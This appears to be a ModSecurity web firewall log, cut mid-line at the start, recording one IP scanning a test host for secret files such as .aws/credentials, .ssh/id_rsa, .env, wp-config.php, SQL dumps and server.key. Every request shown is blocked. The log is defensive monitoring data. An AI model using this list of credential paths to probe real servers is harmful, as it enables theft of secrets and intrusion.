"forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "aHWuOX40WliaZxioUugUhQAAAAQ"]
[Tue Jul 15 03:26:17.714618 2025] [:error] [pid 1190384] [client 213.232.87.232:46241] [client 213.232.87.232] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "aHWuOX40WliaZxioUugUhQAAAAQ"]
[Tue Jul 15 03:26:17.714810 2025] [:error] [pid 1190384] [client 213.232.87.232:46241] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "aHWuOX40WliaZxioUugUhQAAAAQ"]
[Tue Jul 15 03:26:17.711148 2025] [:error] [pid 1190382] [client 213.232.87.232:59853] [client 213.232.87.232] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aHWuOQRZ5bid2JscP7AwUQAAAAI"]
[Tue Jul 15 03:26:17.714998 2025] [:error] [pid 1190384] [client 213.232.87.232:46241] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "aHWuOX40WliaZxioUugUhQAAAAQ"]
[Tue Jul 15 03:26:17.715036 2025] [:error] [pid 1190382] [client 213.232.87.232:59853] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aHWuOQRZ5bid2JscP7AwUQAAAAI"]
[Tue Jul 15 03:26:17.715187 2025] [:error] [pid 1190382] [client 213.232.87.232:59853] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aHWuOQRZ5bid2JscP7AwUQAAAAI"]
[Tue Jul 15 03:26:17.838227 2025] [:error] [pid 1190382] [client 213.232.87.232:4141] [client 213.232.87.232] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aHWuOQRZ5bid2JscP7AwUgAAAAI"]
[Tue Jul 15 03:26:17.838411 2025] [:error] [pid 1190382] [client 213.232.87.232:4141] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aHWuOQRZ5bid2JscP7AwUgAAAAI"]
[Tue Jul 15 03:26:17.838569 2025] [:error] [pid 1190382] [client 213.232.87.232:4141] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aHWuOQRZ5bid2JscP7AwUgAAAAI"]
[Tue Jul 15 03:26:17.987892 2025] [:error] [pid 1190383] [client 213.232.87.232:5957] [client 213.232.87.232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "aHWuOev7bYXAKPA5KHdKxgAAAAM"]
[Tue Jul 15 03:26:17.988207 2025] [:error] [pid 1190383] [client 213.232.87.232:5957] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "aHWuOev7bYXAKPA5KHdKxgAAAAM"]
[Tue Jul 15 03:26:17.988363 2025] [:error] [pid 1190383] [client 213.232.87.232:5957] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "aHWuOev7bYXAKPA5KHdKxgAAAAM"]
[Tue Jul 15 03:26:18.049899 2025] [:error] [pid 1190408] [client 213.232.87.232:42047] [client 213.232.87.232] ModSecurity: Warning. Matched phrase ".ssh/id_rsa" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "aHWuOjwOw_POMtqur4LYPAAAAAU"]
[Tue Jul 15 03:26:18.050219 2025] [:error] [pid 1190408] [client 213.232.87.232:42047] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "aHWuOjwOw_POMtqur4LYPAAAAAU"]
[Tue Jul 15 03:26:18.050482 2025] [:error] [pid 1190408] [client 213.232.87.232:42047] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "aHWuOjwOw_POMtqur4LYPAAAAAU"]
[Tue Jul 15 03:26:18.051934 2025] [:error] [pid 1190380] [client 213.232.87.232:16901] [client 213.232.87.232] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aHWuOrsSpC3SydzLVyAzfQAAAAA"]
[Tue Jul 15 03:26:18.052125 2025] [:error] [pid 1190380] [client 213.232.87.232:16901] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aHWuOrsSpC3SydzLVyAzfQAAAAA"]
[Tue Jul 15 03:26:18.052272 2025] [:error] [pid 1190380] [client 213.232.87.232:16901] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aHWuOrsSpC3SydzLVyAzfQAAAAA"]
[Tue Jul 15 03:26:18.103591 2025] [:error] [pid 1190383] [client 213.232.87.232:16137] [client 213.232.87.232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database_backup.sql"] [unique_id "aHWuOuv7bYXAKPA5KHdKxwAAAAM"]
[Tue Jul 15 03:26:18.103897 2025] [:error] [pid 1190383] [client 213.232.87.232:16137] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database_backup.sql"] [unique_id "aHWuOuv7bYXAKPA5KHdKxwAAAAM"]
[Tue Jul 15 03:26:18.104068 2025] [:error] [pid 1190383] [client 213.232.87.232:16137] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database_backup.sql"] [unique_id "aHWuOuv7bYXAKPA5KHdKxwAAAAM"]
[Tue Jul 15 03:26:18.159959 2025] [:error] [pid 1190380] [client 213.232.87.232:63089] [client 213.232.87.232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "aHWuOrsSpC3SydzLVyAzfgAAAAA"]
[Tue Jul 15 03:26:18.160276 2025] [:error] [pid 1190380] [client 213.232.87.232:63089] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "aHWuOrsSpC3SydzLVyAzfgAAAAA"]
[Tue Jul 15 03:26:18.160437 2025] [:error] [pid 1190380] [client 213.232.87.232:63089] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "aHWuOrsSpC3SydzLVyAzfgAAAAA"]
[Tue Jul 15 03:26:18.170739 2025] [:error] [pid 1190408] [client 213.232.87.232:35469] [client 213.232.87.232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "aHWuOjwOw_POMtqur4LYPQAAAAU"]
[Tue Jul 15 03:26:18.171187 2025] [:error] [pid 1190408] [client 213.232.87.232:35469] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "aHWuOjwOw_POMtqur4LYPQAAAAU"]
[Tue Jul 15 03:26:18.171413 2025] [:error] [pid 1190408] [client 213.232.87.232:35469] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup.sql"] [unique_id "aHWuOjwOw_POMtqur4LYPQAAAAU"]
[Tue Jul 15 03:26:18.247479 2025] [:error] [pid 1190382] [client 213.232.87.232:11279] [client 213.232.87.232] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHWuOgRZ5bid2JscP7AwVAAAAAI"]
[Tue Jul 15 03:26:18.247779 2025] [:error] [pid 1190382] [client 213.232.87.232:11279] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHWuOgRZ5bid2JscP7AwVAAAAAI"]
[Tue Jul 15 03:26:18.248014 2025] [:error] [pid 1190382] [client 213.232.87.232:11279] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aHWuOgRZ5bid2JscP7AwVAAAAAI"]
[Tue Jul 15 03:26:18.262825 2025] [:error] [pid 1190408] [client 213.232.87.232:20279] [client 213.232.87.232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "aHWuOjwOw_POMtqur4LYPgAAAAU"]
[Tue Jul 15 03:26:18.263261 2025] [:error] [pid 1190408] [client 213.232.87.232:20279] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "aHWuOjwOw_POMtqur4LYPgAAAAU"]
[Tue Jul 15 03:26:18.263496 2025] [:error] [pid 1190408] [client 213.232.87.232:20279] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "aHWuOjwOw_POMtqur4LYPgAAAAU"]
[Tue Jul 15 03:26:18.272831 2025] [:error] [pid 1190381] [client 213.232.87.232:4447] [client 213.232.87.232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "aHWuOtxOC6xi3Nh6osnoJAAAAAE"]
[Tue Jul 15 03:26:18.273287 2025] [:error] [pid 1190381] [client 213.232.87.232:4447] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "aHWuOtxOC6xi3Nh6osnoJAAAAAE"]
[Tue Jul 15 03:26:18.273541 2025] [:error] [pid 1190381] [client 213.232.87.232:4447] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "aHWuOtxOC6xi3Nh6osnoJAAAAAE"]
